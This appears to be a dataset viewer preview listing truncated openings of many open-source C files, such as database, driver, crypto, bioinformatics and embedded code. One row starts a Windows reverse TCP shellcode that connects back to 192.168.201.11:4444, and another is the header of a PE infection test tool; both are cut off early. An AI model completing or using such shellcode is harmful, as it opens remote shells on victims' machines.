text
stringlengths
5.8k
28.2k
/* -*- mode: C++; c-basic-offset: 4; indent-tabs-mode: nil -*- */ // vim: ft=cpp:expandtab:ts=8:sw=4:softtabstop=4: #ident "$Id$" /*====== This file is part of PerconaFT. Copyright (c) 2006, 2015, Percona and/or its affiliates. All rights reserved. PerconaFT is free software: you can redistribute it and/or modif...
// DHCPDUMP // // Usage: tcpdump -s 1518 -lenx port bootps or port bootpc | dhcpdump // // note 1: how does this work for FDDI / PPP links? // note 2: what is this number 14? // // $Id: dhcpdump.c,v 1.12 2004/10/31 11:22:58 mavetju Exp $ // #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include ...
/* chainBridge - Attempt to extend alignments through double-sided gaps of similar size. */ #include "common.h" #include "axt.h" #include "bandExt.h" #include "chainBlock.h" #include "chainConnect.h" #include "dnaseq.h" #include "gapCalc.h" #include "linefile.h" #include "hash.h" #include "options.h" #include "twoBit.h...
/* * CMD - Wine-compatible command line interface - batch interface. * * Copyright (C) 1999 <NAME> * Copyright (C) 2007 <NAME> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; ei...
/** * An example of benchmarking random search on a COCO suite. A grid search optimizer is also * implemented and can be used instead of random search. * * Set the global parameter BUDGET_MULTIPLIER to suit your needs. */ #include <math.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #inclu...
/* * Copyright (C) 2016 <NAME>, SODAQ * 2017 Inria * * This file is subject to the terms and conditions of the GNU Lesser * General Public License v2.1. See the file LICENSE in the top level * directory for more details. */ /** * @ingroup drivers_bmx280 * @{ * * @file * @brief Devic...
/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License (the "License"). * You may not use this file except in compliance with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolar...
/* net.c -- CoAP network interface * * Copyright (C) 2010 <NAME> <<EMAIL>> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any la...
/*************************************************************************** * __________ __ ___. * Open \______ \ ____ ____ | | _\_ |__ _______ ___ * Source | _// _ \_/ ___\| |/ /| __ \ / _ \ \/ / * Jukebox | | ( <_> ) \___| < | \_\ ( <_> ...
/****************************************************************************** * Copyright © 2014-2018 The SuperNET Developers. * * * * See the AUTHORS, DEVELOPER-AGREEMENT and LICENSE files at * ...
/* Copyright Statement: * * This software/firmware and related documentation ("MediaTek Software") are * protected under relevant copyright laws. The information contained herein * is confidential and proprietary to MediaTek Inc. and/or its licensors. * Without the prior written permission of MediaTek inc. and/or its l...
/** * @file monstro-tcore.c * * @section LICENSE License * * This is free and unencumbered software released into the public domain. * * Anyone is free to copy, modify, publish, use, compile, sell, or * distribute this software, either in source code form or as a compiled * binary, for any purpose, commercia...
/************************************************************************************************************ * Copyright (c) 2018, Dolby Laboratories Inc. * All rights reserved. * Redistribution and use in source and binary forms, with or without modification, are permitted * provided that the following conditio...
/* pcke03.f -- translated by f2c (version 19980913). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ #include "f2c.h" /* Table of constant values */ static integer c__3 = 3; static integer c__1 = 1; /* $Procedure PCKE03 ( PCK, evaluate data record from type 3 segment )...
#include "bme280.h" #include "i2c.h" #include "board.h" #define BME280_I2C_ADDRESS (0x76) #define BME280_SAMPLING_NONE (0b000) #define BME280_SAMPLING_X1 (0b001) #define BME280_SAMPLING_X2 (0b010) #de...
// SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0 /* Copyright (c) 2018 Mellanox Technologies. All rights reserved */ #include <linux/errno.h> #include <linux/gfp.h> #include <linux/kernel.h> #include <linux/refcount.h> #include <linux/mutex.h> #include "spectrum.h" #include "spectrum_acl_tcam.h" struct mlxsw_sp_a...
/* ;; Title: Windows Reverse TCP shellcode (192.168.201.11:4444) (420 Bytes) ;; Date: 09.12.2021 ;; Author: <NAME> ;; Tested on: Windows/x64 - 10.0.19043 N/A Build 19043 [BITS 32] global _start section .text _start: ; Locate Kernelbase.dll address XOR ECX, ECX ;zero out ECX MOV EAX, FS:[ecx + 0x30] ;EAX =...
/* sha256.c - an implementation of SHA-256/224 hash functions * based on FIPS 180-3 (Federal Information Processing Standart). * * Copyright (c) 2010, <NAME> <<EMAIL>> * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted. * * THE SOFTWARE I...
/* * Copyright (c) 2001-2019, Arm Limited and Contributors. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause OR Arm's non-OSI source license * */ #define CC_PAL_LOG_CUR_COMPONENT CC_LOG_MASK_CCLIB /************* Include Files *************************************************/ #include "cc_pal_types...
/* TODO: compact the tester */ #include <stdio.h> /* printf, obviously */ #include <stdlib.h> /* exit */ #include <string.h> /* memset, strncmp */ #include <unistd.h> /* dup, read */ #include <sys/stat.h> /* redir */ #include <fcntl.h> /* open etc. */ int ft_printf(const char *format, ...); #define EXIT_WHEN_FAIL (...
/* * Copyright (C) 2003-2004 by <NAME>. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of c...
/* * MIT License * * Copyright (c) 2021 <NAME> * */ #include <string.h> #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "esp_heap_caps.h" #include "dgx_spi_screen.h" #define ILI9341_TFTWIDTH 240 ///< ILI9341 max TFT width #define ILI9341_TFTHEIGHT 320 ///< ILI9341 max TFT height #define ILI...
#include <u.h> #include <libc.h> #include <bio.h> #include <ip.h> #include <plumb.h> #include <thread.h> #include <fcall.h> #include <9p.h> #include <libsec.h> #include <auth.h> #include "dat.h" #include "fns.h" char PostContentType[] = "application/x-www-form-urlencoded"; int httpdebug; typedef struct HttpState Http...
/** * @example SDLvncviewer.c */ #include <SDL.h> #include <signal.h> #include <rfb/rfbclient.h> #include "scrap.h" struct { int sdl; int rfb; } buttonMapping[]={ {1, rfbButton1Mask}, {2, rfbButton2Mask}, {3, rfbButton3Mask}, {4, rfbButton4Mask}, {5, rfbButton5Mask}, {0,0} }; static int enableResizable = 1, ...
/*------------------------------------------------------------------------- * * dir.c: directory operation utility. * * Copyright (c) 2009-2013, NIPPON TELEGRAPH AND TELEPHONE CORPORATION * *------------------------------------------------------------------------- */ #include "pg_probackup.h" #include <libgen....
/** * |---------------------------------------------------------------------- * | Copyright (c) 2016 <NAME> * | * | Permission is hereby granted, free of charge, to any person * | obtaining a copy of this software and associated documentation * | files (the "Software"), to deal in the Software without restrict...
/* * File: texture.c * * This file holds the data structures and functions to manipulate textures. * * Right now, textures are not completely implemented... * * - scene can have max 32 textures (program limit) * - no/poor delete/re-use functionality * - an object can only have 1 texture * - s...
/*- * Copyright (c) 1999 <NAME> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions a...
/* sqlToXml - Given a database, .as file, .joiner file, and a sql select * statement, dump out results as XML. */ /* This file is copyright 2005 <NAME>, but license is hereby * granted for all use - public, private or commercial. */ #include "common.h" #include "linefile.h" #include "hash.h" #include "dystring.h" #...
#include "texto.h" //----------------TEXTO ESTÁTICO----------------------- texto_e* inicia_texto_e(){ texto_e *te; te=(texto_e*)malloc(sizeof(texto_e)); if(te!=NULL){ te->tam=0; te->inicio=0; te->final=0; te->id_texto = 0 ; } return te; } int insere_palavra_e(tex...
/* * sunxi_wemac.c -- Allwinner A10 ethernet driver * * (C) Copyright 2012, <NAME> <<EMAIL>> * * SPDX-License-Identifier: GPL-2.0+ */ #include <common.h> #include <malloc.h> #include <net.h> #include <miiphy.h> #include <linux/err.h> #include <asm/io.h> #include <asm/arch/clock.h> #include <asm/arch/gpio.h> /* ...
/* This is an independent implementation of the encryption algorithm: */ /* */ /* CRYPTON by <NAME> of Future Systms Inc */ /* */ /* which is a candida...
/** * Sample programme that gets and prints the reader stats * It shows both the sync and async way of getting the reader stats. * @file readerstats.c */ #include <tm_reader.h> #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <inttypes.h> #ifndef WIN32 #include <unistd.h> #en...
/**************************************************************************** * Copyright (C) 2021 by NQMCyber Ltd * * * * This file is part of EDGESec. * * ...
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #include <time.h> #include <limits.h> #include <assert.h> #include <arpa/inet.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/syscall.h> #inclu...
/* * Copyright (c) 2017 Cisco and/or its affiliates. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicabl...
/************************************************ ********************** *** CNatural: Remote embed systems control. *** * Core functions for the HTTPd server ********************** Copyright 2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance wit...
#include "bee2/core/mem.h" #include "bee2/math/ec.h" // cost: 1I+102M+28S+50A // size: 27*n words void ecDivpA_8(word *nPs, word const *P, ec_o const *ec, void *stack) { qr_o const *qr = ec->f; size_t const n = qr->n; word const *a = ec->A; word const *b = ec->B; word const *x = P; word const *y = P+n; word *__s = ((w...
/* @source wordfinder application ** ** Word-based rapid comparison of large sequences ** ** @author Copyright (C) <NAME> ** @@ ** ** This program is free software; you can redistribute it and/or ** modify it under the terms of the GNU General Public License ** as published by the Free Software Foundation; either versi...
/* * ISC License * * Copyright (C) 1991-2018 by * <NAME> * <NAME> * Delft University of Technology * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all c...
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #ifndef _WIN32 #include <unistd.h> #endif #include "pt_helpers.h" #include "pt_header.h" #include "pt_config.h" #include "pt_tables.h" #include "pt_audio.h" #include "pt_diskop.h" #include "pt_config.h" #include "pt_textout.h" ...
/* * Copyright (C) 2003 <NAME> <sasha at aftercode.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * Th...
/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License (the "License"). * You may not use this file except in compliance with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolar...
/******************************************************************** * FILE: pmp_bf.c * AUTHOR: <NAME> * CREATE DATE: 12/12/2007 * PROJECT: PMP * COPYRIGHT: 2007, UQ ********************************************************************/ #include <assert.h> #include <stdio.h> #include <string.h> #include "matrix....
/* nb_n.c : Clasificador Naive Bayes usando la aproximacion de funciones normales para features continuos Formato de datos: c4.5 La clase a predecir tiene que ser un numero comenzando de 0: por ejemplo, para 3 clases, las clases deben ser 0,1,2 PMG - Ultima revision: 20/06/2001 */ #include <stdio.h> #include <string....
#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <poll.h> #include <string.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <errno.h> #include <arpa/inet.h> #include <time.h> #include <pthread.h> #include <signal.h> #define N...
// SPDX-FileCopyrightText: 1991-1992 RSA Data Security, Inc. // SPDX-License-Identifier: RSA-MD /* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm * * Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All rights reserved. * Code cleanup by pancake @ 2017 * * License to copy and use this s...
/* * imports.c: Implementation of the XSLT imports * * Reference: * http://www.w3.org/TR/1999/REC-xslt-19991116 * * See Copyright for the status of this software. * * <EMAIL> */ #define IN_LIBXSLT #include "libxslt.h" #include <string.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_MA...
// SPDX-License-Identifier: GPL-2.0+ /** * PCIe SERDES driver for AM654x SoC * * Copyright (C) 2018 Texas Instruments * Author: <NAME> <<EMAIL>> */ #include <common.h> #include <clk-uclass.h> #include <dm.h> #include <log.h> #include <dm/device.h> #include <dm/device_compat.h> #include <dm/lists.h> #include <dt-b...
/** * Sample program that demonstrates open region configuration * @file RegionConfiguration.c */ #include <tm_reader.h> #include <time.h> #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <inttypes.h> #include <serial_reader_imp.h> #ifndef BARE_METAL #if WIN32 #define snprin...
#include "common.h" extern int DISCRETE_PRUNING; extern int ERROR_ANALYSIS_MODE; extern int SPLIT_BLOCKS; extern int SKIP_PRUNE; extern float THRESHOLD; extern int HIC; void print_hapcut_options() { fprintf(stdout, "\nHapCUT2: robust and accurate haplotype assembly for diverse sequencing technologies\n\n"); fp...
/* COPYRIGHT The following is a notice of limited availability of the code, and disclaimer which must be included in the prologue of the code and in all source listings of the code. (C) COPYRIGHT 2008 University of Chicago Permission is hereby granted to use, reproduce, prepare derivative works, and to redistribute ...
/** * Copyright 2020 PacketX Technology * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following...
/* $Id$ * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to you under the Apache License, Version * 2.0 (the "Lice...
/* * Copyright (c) 2010-2012 by Farsight Security, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by appli...
/***************************************************************************** * * \file * * \brief Example for AT42QT1060 touch device. * * Copyright (c) 2014-2018 Microchip Technology Inc. and its subsidiaries. * * \asf_license_start * * \page License * * Subject to your compliance with these terms, you m...
/* Functions and structures for maintaining a k-d tree database of image features. For more information, refer to: <NAME>. and <NAME>. Shape indexing using approximate nearest-neighbor search in high-dimensional spaces. In <EM>Conference on Computer Vision and Pattern Recognition (CVPR)</EM> (2003),...
/** * \file peinjector.c * \author A.A. * \brief PE infection test tool */ #include "libpetool.h" #include "libpeinfect.h" #include "libpeserver.h" #include "3rdparty/ini/minIni.h" #include <stdio.h> #include <stdlib.h> #ifdef _WIN32 /* Windows/Linux Switch */ #include "windows.h" #endif /* Config Names */ #d...
/****************************************************************************** * Projekt - Zaklady pocitacove grafiky - IZG * <EMAIL> * * $Id: student.c 416 2015-03-10 08:07:46Z spanel $ */ #include "student.h" #include "transform.h" #include "fragment.h" #include <memory.h> #include <math.h> int d...
/* * framework/lang/l-debugger.c * * Copyright(c) 2007-2018 <NAME> <<EMAIL>> * Official site: http://xboot.org * Mobile phone: +86-18665388956 * QQ: 8192542 * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Softwa...
/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License, Version 1.0 only * (the "License"). You may not use this file except in compliance * with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * o...
/** * brief Nordic nRF52840-specific definition of the "radio" bsp module. * * Authors: <NAME> (1, <EMAIL>) and <NAME> (2, <EMAIL>) * Company: (1) Institut fuer Mikroelektronik- und Mechatronik-Systeme gemeinnuetzige GmbH (IMMS GmbH) * (2) Faculty of Electronics and Computing, Zagreb, Croatia * Date:...
/*********************************************************************** * * * MEME++ * * Copyright 1994-2006, The Regents of the University of California * * Author: <NAME>...
// // TLCommon.h // TL11 // // Created by liu on 15-4-20. // Copyright (c) 2015年 isoftstone. All rights reserved. // // 1.判断是否为iOS7 #define iOS7 ([[UIDevice currentDevice].systemVersion doubleValue] >= 7.0) // 2.获得RGB颜色 #define TLColor(r, g, b) [UIColor colorWithRed:(r)/255.0 green:(g)/255.0 blue:...
/* * This material contains unpublished, proprietary software of * Entropic Research Laboratory, Inc. Any reproduction, distribution, * or publication of this work must be authorized in writing by Entropic * Research Laboratory, Inc., and must bear the notice: * * "Copyright (c) 1990-1996 Entropic Research...
/* * Copyright (C) 2012 Samsung Electronics * * See file CREDITS for list of people who contributed to this * project. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 ...
/* * cotp.c * * ISO 8073 Connection Oriented Transport Protocol over TCP (RFC1006) * * Partial implementation of the ISO 8073 COTP (ISO TP0) protocol for MMS. * * Copyright 2013, 2014 <NAME> * * This file is part of libIEC61850. * * libIEC61850 is free software: you can redistribute it and/or modify *...
/************************************************************************** * * Copyright 2009 <NAME>. * All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without ...
// Tool to calculate word-word cooccurrence statistics // // Copyright (c) 2014 The Board of Trustees of // The Leland Stanford Junior University. All Rights Reserved. // // Modification copyright (c) 2016 <NAME> // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file ex...
/* * Copyright (c) 2014 DeNA Co., Ltd. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publ...
#include "nw.h" #include <string.h> #include <inttypes.h> #define MATCH_SCORE 1 #define MISMATCH_SCORE -1 #define GAP_SCORE -1 #define ALIGN '\\' #define SKIPA '^' #define SKIPB '<' #define MAX(A,B) ( ((A)>(B))?(A):(B) ) #define JOBS_PER_BATCH 512 #define UNROLL_FACTOR 64 #define JOBS_PER_PE ((JOBS_PER_BATCH)/(UNRO...
/* $OpenBSD: ps.c,v 1.49 2011/04/10 03:20:58 guenther Exp $ */ /* $NetBSD: ps.c,v 1.15 1995/05/18 20:33:25 mycroft Exp $ */ /*- * Copyright (c) 1990, 1993, 1994 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modificatio...
/* * diff_pristine.c -- A simple diff walker which compares local files against * their pristine versions. * * ==================================================================== * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See t...
/* * smpl_nhm_lbr.c - Intel Nehalem LBR sampling * * Copyright (c) 2008 Google, Inc * Contributed by <NAME> <<EMAIL>> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restric...
#include <stdlib.h> #include <phast/misc.h> #include <phast/tree_likelihoods.h> #include <phast/list_of_lists.h> #include <phast/ms.h> //make a new list of lists (LOL) ListOfLists *lol_new(int approx_size) { ListOfLists *lol = smalloc(sizeof(ListOfLists)); lol->lst = lst_new_ptr(approx_size); lol->lstName = lst_...
/* tdbRewriteRemoveUnused - Remove stanzas that have no table that exists in any existing database.. */ /* Copyright (C) 2011 The Regents of the University of California * See README in this or parent directory for licensing information. */ #include "common.h" #include "linefile.h" #include "hash.h" #include "option...
/* * (C) Copyright 2007-2009 * <NAME>, DENX Software Engineering, <EMAIL>. * * See file CREDITS for list of people who contributed to this * project. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Softwa...
/* ccdsClick - click handling for CCDS track and related functions */ /* Copyright (C) 2013 The Regents of the University of California * See README in this or parent directory for licensing information. */ #include "common.h" #include "hgc.h" #include "ccdsClick.h" #include "ccdsInfo.h" #include "ccdsNotes.h" #inc...
/* Copyright (C) 2000-2012 by <NAME> */ /* * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaim...
/* * The Clear BSD License * Copyright (c) 2016, Freescale Semiconductor, Inc. * Copyright 2016-2017 NXP * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted (subject to the limitations in the disclaimer below) provided * that the ...
/* * vim:ts=4:sw=4:expandtab * * © 2010 <NAME> * * See LICENSE for licensing information * */ #include <cairo.h> #include <cairo/cairo-xcb.h> #include <ev.h> #include <math.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <xcb/xcb.h> #include "dpi.h" ...
// libCEED Example 1 // // This example illustrates a simple usage of libCEED to compute the volume of a // 3D body using matrix-free application of a mass operator. Arbitrary mesh and // solution orders in 1D, 2D and 3D are supported from the same code. // // The example has no dependencie...
/* GDB/Scheme support for safe calls into the Guile interpreter. Copyright (C) 2014-2017 Free Software Foundation, Inc. This file is part of GDB. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software ...
/* ////////////////////////////////////////////////////////////////////////// */ /* */ /* Copyright (c) Atmel Corporation. All rights reserved. */ /* */ /* Module Name: wilc_wlan_cfg.c */ /* */ /* */ /* ///////////////////////////////////////////////////////////////////////// */ #include <linux/string.h> #includ...
/** ****************************************************************************** * @file main.c * @author MCD Application Team * @brief Main program body ****************************************************************************** * @attention * * Copyright (c) 2016 STMicroelectronics. * Al...
/* Recode Serbian text from Cyrillic to Latin script. Copyright (C) 2006-2007, 2009 Free Software Foundation, Inc. Written by <NAME> <<EMAIL>>, 2006, and <NAME> <<EMAIL>>, 2006. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as p...
/* GStreamer libsndfile plugin * Copyright (C) 1999,2000 <NAME> <<EMAIL>> * 2000,2005 <NAME> <<EMAIL>> * 2003,2007 <NAME> <<EMAIL>> * * gstsfsrc.c: * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * Licen...
/* * Amazon FPGA Hardware Development Kit * * Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Amazon Software License (the "License"). You may not use * this file except in compliance with the License. A copy of the License is * located at * * http://aws.amazon...
#include <stdio.h> #include <pthread.h> #include <stdint.h> #include "tracking.h" #include "math_utils.h" #include "pose.h" #include "utils.h" #include "pref_global.h" /**************************/ /* private Static members */ /**************************/ //static struct bloblist_type filtered_bloblist; //static struc...
#include <stdio.h> #include <string.h> #include <stdbool.h> #include "nvs.h" #include "nvs_flash.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "esp_log.h" #include "esp_bt.h" #include "esp_bt_main.h" #include "esp_gap_bt_api.h" #include "esp_bt_device.h" #include "esp_spp_api.h" #include "event_...
#include <stdio.h> #include "mgos.h" #include "math.h" #include "ssd1306.h" #include "main.h" #include "esp_wifi.h" typedef struct { uint16_t env_pm10, env_pm25, env_pm100; } PMS_DATA; typedef struct { uint16_t frameLength; uint16_t standartPM10, standartPM25, standartPM100; uint8_t env_pm10HI, env_pm10...
/* uCam III Linux user space driver -------------------------------- <NAME> - 2018 (ucam.c) -------------------------------- Inspirated by: https://github.com/yoannsculo/uCAM */ #include "ucam.h" #include "serial.h" #include <stdio.h> #include <string.h> #include <poll.h> #include <time.h> #include <unistd.h> #defin...
#include <stdlib.h> #include <stdint.h> #define STB_IMAGE_IMPLEMENTATION #include "stb_image.h" #define STB_TRUETYPE_IMPLEMENTATION #define STB_RECT_PACK_IMPLEMENTATION #include "stb_rect_pack.h" #include "stb_truetype.h" #include "mml.h" #pragma pack(push, 1) struct bmp_header { uint16_t ftype; uint32_t fsize;...
/* * Academic License - for use in teaching, academic research, and meeting * course requirements at degree granting institutions only. Not for * government, commercial, or other organizational use. * * rjtipF.c * * Code generation for function 'rjtipF' * */ /* Include files */ #include "rjtipF.h...
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <assert.h> #define stat xv6_stat // avoid clash with host struct stat #include "types.h" #include "fs.h" #include "stat.h" #include "param.h" #define static_assert(a, b) do { switch (0) case 0: case (a): ; } wh...
/* * Definitions for a Sony interface CDROM drive. * * <NAME> (<EMAIL>) * * Copyright (C) 1993 <NAME> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the Lice...
/*************************************************************************** * __________ __ ___. * Open \______ \ ____ ____ | | _\_ |__ _______ ___ * Source | _// _ \_/ ___\| |/ /| __ \ / _ \ \/ / * Jukebox | | ( <_> ) \___| < | \_\ ( <_> ...
/* * Automatically Tuned Linear Algebra Software v3.10.3 * Copyright (C) 2010, 2009 <NAME> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above...
/* -*- C -*- */ /* * Copyright (c) 2015-2020 Seagate Technology LLC and/or its Affiliates * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE...
/** * @file wtdb.c * @brief simple ncurses-based debugger * @todo write documentation */ #include <inttypes.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <code.h> #include <errors.h> #include <reader.h> #include <vm.h> #include <linenoise.h> #define CYAN_BOLD "\x1b[3...